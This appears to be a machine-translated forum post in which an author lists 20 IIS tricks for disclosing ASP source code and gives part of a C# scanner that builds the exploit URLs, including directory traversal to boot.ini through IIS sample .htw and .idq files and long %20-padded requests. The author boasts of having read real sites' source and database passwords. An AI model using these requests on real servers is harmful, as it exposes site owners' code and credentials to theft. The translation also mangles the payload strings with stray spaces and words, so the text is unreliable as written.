20 methods and tools for viewing ASP program source code

 
As we all know, the windows platform is full of loopholes, patch one by one, but it is always incomplete. I summarized the 20 methods I know to view the asp source code, and wrote an application in c # to scan these vulnerabilities, I found that although most of the methods cannot be used, there are still some loopholes in the Internet :). As a result, the source code of many sites, including the database password, were seen in the two days, if access is used, you can download the database. If SQL server does not use udl or dsn to connect to the database, you can also use the TCP/IP network library to connect to the database. First, the 20 methods are listed below:

.
% 81
: DATA
% 2e
% 2e % 41sp
+. Htr
\
Longhtr
. Bak
Codebrws. asp
Showcode. asp
Null. htw
Qfullhit. htw
Qsumrhit. htw
Query. idq
Search/qfullhit. htw
Search/qsumrhit. htw
Iirturnh. htw
. Htw
Translate: f

The first 10 vulnerabilities are added directly after the asp file. For example, % 81 is xxx. asp % 81. These are all implemented through examples or system vulnerabilities inherent in iis. The most special method is the translate: f method, which cannot be used directly through a browser, A TCP/IP socket connection must be established with the server to send requests. For details about how to use each vulnerability, see below. This is part of my application, if you want all of them, you can download them from my website.

Switch (this. cboMethod. SelectedIndex)
{
Case 0: // read directly
StrRequestFile = strServer + strUrl;
Break;
Case 5: // % 2e % 41sp
StrRequestFile = strServer + strPath + strFirst
+ "% 2e % 41sp ";
Break;
Case 8: // longhtr
StrRequestFile = strServer + strUrl
+ "+ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htr ";
Break;

Case 10: // codebrws. asp
StrRequestFile = strServer + "/iissamples/exair/howitworks/codebrws. asp? Source ="
+ StrUrl;
Break;

Case 11: // showcode. asp
StrRequestFile = strServer + "/iissamples/exair/howitworks/codebrws. asp? Source ="
+ "/Msadc/.../boot. ini ";
Break;

Case 12: // null. htw
StrRequestFile = strServer + "/null. htw? CiWebHitsFile ="
+ StrUrl + "% 20 & CiRestriction = none & CiHiliteType = Full ";
Break;
Case 13: // qfullhit. htw
StrRequestFile = strServer + "/iissamples/issamples/oop/qfullhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 14: // qsumrhit. htw
StrRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 15: // query. idq
StrRequestFile = strServer + "/query. idq? CiTemplate =/.../../boot. ini"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htx ";
Break;

Case 16: // search/qfullhit. htw
StrRequestFile = strServer + "/iissamples/exair/search/qfullhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 17: // search/qsumrhit. htw
StrRequestFile = strServer + "/iissamples/exair/search/qsumrhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 18: // iirturnh. htw
StrRequestFile = strServer + "/iishelp/iis/misc/iirturnh. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 19: //. htw
StrRequestFile = strServer + strUrl
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% running htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Default:
StrRequestFile = strServer + strUrl + this. cboMethod. Text;
}